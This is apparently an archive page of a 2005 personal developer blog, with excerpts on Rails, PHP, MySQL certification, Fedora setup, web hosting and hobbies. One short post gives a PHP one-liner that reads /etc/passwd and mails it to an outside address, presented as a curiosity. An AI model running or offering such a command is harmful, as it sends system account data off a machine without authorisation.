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Ruby on Rails

July 4, 2005

I rebuilt Destiney.com using the Ruby on Rails MVC framework. For the uninitiated, MVC means model-view-controller . Being fairly new to Ruby on Rails, the rebuild took me about 8 hours or so. I have some old benchmark pages of various stuff.. took time to bring those in. They were previously in a standalone section. I was able to display my recent Blog entries conten...

Web Server Marketshare

July 3, 2005

Web server marketshare: http://news.netcraft.com/archives/web_server_survey.html Look at the second graph Apache 69.37% Microsoft 20.54% You can see in early 2002, Microsoft had a growth spurt. I suspect this was due to many developers looking into .NET and setting up new servers to check it out. Later as interest began to fade, Microsoft IIS usage continued...

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MySQL Core Certification

June 22, 2005

I took the MySQL Core Certification test. It wasn't nearly as easy as I thought it would have been. Especially since I've been using MySQL for such a long time. I ended up marking about 15 or so questions and coming back to them. In the end I passed with time to spare. This certification will look really nice next to my Zend Certified Engineer (PHP) certification. W00t!

Last question only?

June 4, 2005

One of the most annoying things that happens when conversing over email is getting your whole email ignored except the last question. Like for example when you send in a support request to a web host, they ignore everything you write up until the last question. They respond to that one question and that's it. Makes me wanna scream. So.. I've sort of began to send single questi...

PHP extensions case

April 29, 2005

One thing that really falls short with PHP is the crazy naming conventions that seem to follow no particular pattern. Trying to figure out why PDO doesn't seem to work today, I found yet another case naming difference: > cat extensions.php #!/usr/bin/php <?php print_r( get_loaded_extensions() ); ?> > ./extensions.php Array ( [0] => xm...

Setting up a Fedora development server

April 10, 2005

I recently setup Fedora Core 3 on an old server I had as a new a PHP/MySQL development environment. I downloaded the Fedora Core 3 #1 .iso image and burned it to cd. I booted it up and chose the 'minimal' install. Even the minimal install was fairly large, over 500MBs. The install completed without a hitch and I began to configure the system. First I tried up2date. This is s...

Web hosting woes..

April 9, 2005

Whatever you do, do not use Geekhosting.com . When I first got the hosting account many months ago everything seemed fine. But more and more I saw my site getting slower and slower. The mornings were the worst. They would perform backups every day and my site was basically inaccessible during the backup period. People wrote to me and asked why my site was so slow. It w...

World of Warcraft

February 3, 2005

I've been playing World of Warcraft lately. So far I have a level 16 Undead Warlock and a level 11 Undead Mage. I also have a paladin and a warrior but I don't find them very interesting to play and will probably not play them very much more if any. The Mage character is a straight out damage dealer. I'm thinking I will spec in fire mostly, with a little cold and arcane. I...

PHP /etc/passwd

January 20, 2005

php -r '$p=cat /etc/passwd; mail( "me@myhost.com", \ "pwds", "$p", "From: me\r\n" );' Fun.

Pffffttt..

January 18, 2005

I joined a new band about a month ago. My long-time friend and music buddy John found a new band and they needed another guitarist.. so I tried out and got offered the position. Little did I know how things would turn out at the time. I should have guessed what was going to happen after the second practice or so. The first night the "leader" of the band Steve tells m...

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